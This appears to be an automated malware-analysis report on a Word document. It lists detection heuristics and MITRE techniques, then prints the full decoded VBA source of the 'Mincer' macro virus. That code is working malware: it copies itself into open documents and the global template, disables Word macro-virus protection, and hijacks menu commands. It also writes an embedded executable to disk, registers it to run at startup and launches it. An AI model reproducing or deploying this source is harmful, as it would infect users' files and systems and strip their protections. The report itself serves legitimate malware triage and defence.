MALICIOUS
326
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1071.001 Web Protocols
The sample contains critical heuristics indicating the presence of malicious VBA macros, including potential Shell calls and self-replication/tampering. The VBA macro 'macros.bas' is designed to download and execute a second-stage payload. While the exact payload and C2 infrastructure are not directly visible, the techniques used suggest a downloader or dropper malware.
Heuristics 9
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "Mincer.EXE" -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
If A.codemodule.lines(1, 1) <> "'Mincer!" Then A.codemodule.deletelines 1, A.codemodule.CountOfLines -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
AutoOpen -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
If l.ID = 522 Or l.ID = 751 Or l.ID = 797 Then l.OnAction = "AutoClose" -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
NC = Environ("WINDIR") -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8380 bytes |
SHA-256: b7ccae9eb33c16df83051bd3b565db08e737c9951d1a127524f7cd834a0a71de |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Mincer"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Mincer!
Sub Cl()
On Error Resume Next
For Each Doc In Documents
For Each A In Doc.VBProject.vbcomponents
If A.Type <> 100 Then
Application.OrganizerDelete Doc.FullName, A.Name, wdOrganizerObjectProjectItems
Else
If A.codemodule.lines(1, 1) <> "'Mincer!" Then A.codemodule.deletelines 1, A.codemodule.CountOfLines
End If
Next A
Next Doc
For Each dot In Templates
For Each A In dot.VBProject.vbcomponents
If A.Type <> "100" And A.Name <> "Mincer" Then
Application.OrganizerDelete dot.FullName, A.Name, wdOrganizerObjectProjectItems
Else
If A.codemodule.lines(1, 1) <> "'Mincer!" Then A.codemodule.deletelines 1, A.codemodule.CountOfLines
End If
Next A
Next dot
End Sub
Sub IND()
On Error Resume Next
Dim body As String, RET As Boolean, NC As String
For Each Vs In MacroContainer.VBProject.vbcomponents
If Vs.Name = "Mincer" Then Set Vs = Vs.codemodule: Exit For
Next Vs
body = Vs.lines(1, Vs.CountOfLines)
For Each Doc In Documents
If Doc.VBProject.vbcomponents.Item(1).codemodule.lines(1, 1) <> "'Mincer!" And Doc.VBProject.vbcomponents.Item(1).Name <> "MX" Then
vak = InStr(Doc.FullName, ":")
If (vak = 0 Or Doc.ReadOnly = True) And Doc.Saved = False Then
Set ill = Doc.VBProject.vbcomponents.Item(1).codemodule
ill.InsertLines 1, body
Doc.VBProject.vbcomponents.Item(1).Name = "Mincer"
ElseIf vak <> 0 And Doc.ReadOnly = False Then
Set ill = Doc.VBProject.vbcomponents.Item(1).codemodule
ill.InsertLines 1, body
Doc.VBProject.vbcomponents.Item(1).Name = "Mincer"
End If
End If
Next Doc
End Sub
Sub INO()
On Error Resume Next
Dim body As String, RET As Boolean, NC As String
NC = Environ("WINDIR")
If Dir(NC & "\SYSTEM\Mincer.dll") = "" Then
Open NC & "\SYSTEM\Mincer.dll" For Output As 1
For Each Vs In MacroContainer.VBProject.vbcomponents
If Vs.Name = "Mincer" Then Set Vs = Vs.codemodule: Exit For
Next Vs
body = Vs.lines(1, Vs.CountOfLines)
Print #1, "Attribute VB_Name=""Mincer"""
Print #1, body
Close
End If
For Each dot In Templates
RET = False
For Each A In dot.VBProject.vbcomponents
If A.Name = "Mincer" And A.Type <> 100 Then RET = True
Next A
If RET = False Then
dot.VBProject.vbcomponents.Import (NC & "\SYSTEM\Mincer.dll")
End If
Next dot
End Sub
Sub AutoExit()
On Error Resume Next
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
With Options
.VirusProtection = False
.AllowFastSave = True
.SavePropertiesPrompt = False
.SaveNormalPrompt = False
End With
WordBasic.DisableAutoMacros 0
For Each l In CommandBars("tools").Controls
If l.ID = 522 Or l.ID = 751 Or l.ID = 797 Then l.OnAction = "AutoClose"
Next l
For Each Doc In Documents
Doc.ReadOnlyRecommended = False
Doc.SaveFormsData = False
Next Doc
End Sub
Sub MySpy()
On Error Resume Next
Dim MI As String, NC As String
MI = System.PrivateProfileString("", "HKEY_CLASSES_ROOT\.doc\Word.Document.8\ShellNew", "FileName")
NC = Environ("WINDIR")
If Dir(NC & "\Media\MySpy.dot") = "" Then
WordBasic.DisableAutoMacros 1
Documents.Add NewTemplate:=True
ActiveDocument.VBProject.vbcomponents.Item(1).Name = "MX"
INO
ActiveDocument.SaveAs NC & "\Media\MySpy.dot", , , , False
Options.DefaultFilePath(Path:=wdUserTemplatesPath) = NC
Options.DefaultFilePath(Path:=wdStartupPath) = NC & "\Media"
ActiveDocument.Close
End If
WordBasic.DisableAutoMacros 0
End Sub
Sub AutoExec()
On Error Resume Next
Test
Cl
AutoExit
INO
p$ = Environ("WINDIR")
AddIns(p$ & "\Media\MySpy.dot").Installed = False
End Sub
Sub Test()
Dim A As String, B As String, C As Long, D As String, E As String
If Format(Date, "d") <> 2 Then Exit Sub
A = "9460301/3/4/65535/184/0/64/0/0/0/0/0/0/0/0/128/247078670/-855002112/1275181089/1750344141/1881174889/1919381362/1663069537/1869508193/1700929652/1853190688/544106784/542330692/1701080941/168627502/36/0/17744/65868/891316465/0/0/17760480/327947/4096/0/0/4112/4096/8192/4194304/4096/512/4/0/4/0/8192/512/0/2/1048576/4096/1048576/4096/0/16/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/2019914798/116/4096/4096/4096/512/0/0/0/1610612768/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/195/0/0/1021/608472405/1692087288/15205255/1526726656/1363299213/17780816/1543382092/-98778237/-1956238453/1905130603/-1989781998/-289276813/1938384400/1456233986/1217130635/-2086341636/814418152/41219595/-866193173/-337955845/1692087047/545981323/1476628324/268462173/1958936640/-1054798030/75698403/-1989798620/-306054037/1804166672/588238594/1359964867/1364328298/1778477649/1394658562/-2097151744/-1919475516/-1915773626/-203385/550326527/4194407/1488986895/-1958916469/-61830895/" & _
"-1982447475/-1226049023/59475/-2091188224/-850189117/1073768480/1962891264/1409222692/1397774844/1509708799/1488986895/50011/-396361728/0/365330782/-167772157/-2062614266/520/673471629/254032771/128389/-2096693760/-1974073914/-12843965/1074006132/109656756/6964806/1535868778/205753104/1342488707/1092668758/-2097135616/2088833220/1160707078/257836376/112261/2072208896/-2062614248/427/1124120678/3285197/-2112946112/411/1354664785/-1946157059/29488703/-1201272716/-919387391/-1070344193/-919349836/-1958555085/-671136806/-157525613/108265921/1124186214/262002687/90754/-2086906368/-1070366778/-393488716/1784218730/-671131076/-1958078837/-2116550715/1162870846/612699904/1392508929/23724138/588207954/-980725556/" & _
"-1031581007/-1915224313/-1924128190/-1223733242/1418530374/682627600/-503968118/1345484429/1363236434/1359208897/-905721853/-149139925/-1856945711/66078347/-2037777338/-1109/607945062/2071724216/-671103605/1493461653/1012108114/-15547773/1849590231/1953524058/1599822439/-721201319/1441661778/-63093619/55777417/-1098034473/-1203/-833189545/-1109895539/1021/-1031589397/274369320/1980258859/-394046676/-1961326328/1510151258/-1957211384/1510148186/-60947700/-1962649463/140116248/1076120193/725614592/51279595/264758011/871091233/-348339069/19398986/856171628/-61306405/-56785267/78774271/-855586970/-1902867680/-219/251809929/607229110/738197503/266724034/1485555745/1496877840/-242545181/14025144/-10921472/1542515671/865925464/" & _
"-2640704/1935580631/1725926193/-1958542408/2123103310/-19660802/258079566/553631777/1946147979/609484600/474188121/606632835/1099630197/21399848/129024865/1910796518/-747306444/217628006/-1077709171/-2147469236/218020454/1725366266/1241536703/138856294/-687927516/-1191944563/939349/237677241/-959185152/-497983488/-1998310658/-18706176/257250744/-1430955776/13030399/-1258364384/1711311072/201868999/869728016/1400944603/1747774595/-1073737728/1364396215/23613777/1094713349/-192196271/11332737/550305792/1048580/108954470/-33197033/-286569146/-972005887/-343913146/-2012706587/-2147432959/25692296/-712534077/-712534033/-1757147924/-1745889913/-1007757945/661010944/65619/4194408/4194369/4194354/1668180301/1981837925/540028465/1294355783/88/"
Open "Mincer.EXE" For Binary As 1
Do Until A = ""
C = InStr(A, "/")
B = Left(A, C - 1)
A = Right$(A, Len(A) - C)
C = Val(B)
Put 1, , C
Loop
Close
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices", "Mincer") = CurDir & "\Mincer.exe"
AW$ = InputBox("Who I love?", "Question")
If AW$ = "MX" Then
Kill "Mincer.EXE"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices", "Mincer") = ""
MsgBox "Hello,my friend!", 4096, "SMART!"
Else
Shell "Mincer.EXE"
MsgBox "Bios OK?", 48, "Mincing DATA..."
End If
End Sub
Sub FileOpen()
Dialogs(wdDialogFileOpen).Show
AutoOpen
End Sub
Sub AutoOpen()
AutoExit
Cl
IND
INO
End Sub
Sub AutoClose()
MySpy
AutoOpen
For Each Doc In Documents
v& = InStr(Doc.FullName, ":")
If Doc.ReadOnly = False And v <> 0 Then
Doc.Save
End If
Next Doc
End Sub
Sub ViewVBCode()
AutoClose
End Sub
Sub ViewSecurity()
AutoClose
End Sub
Sub ToolsMacro()
AutoClose
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.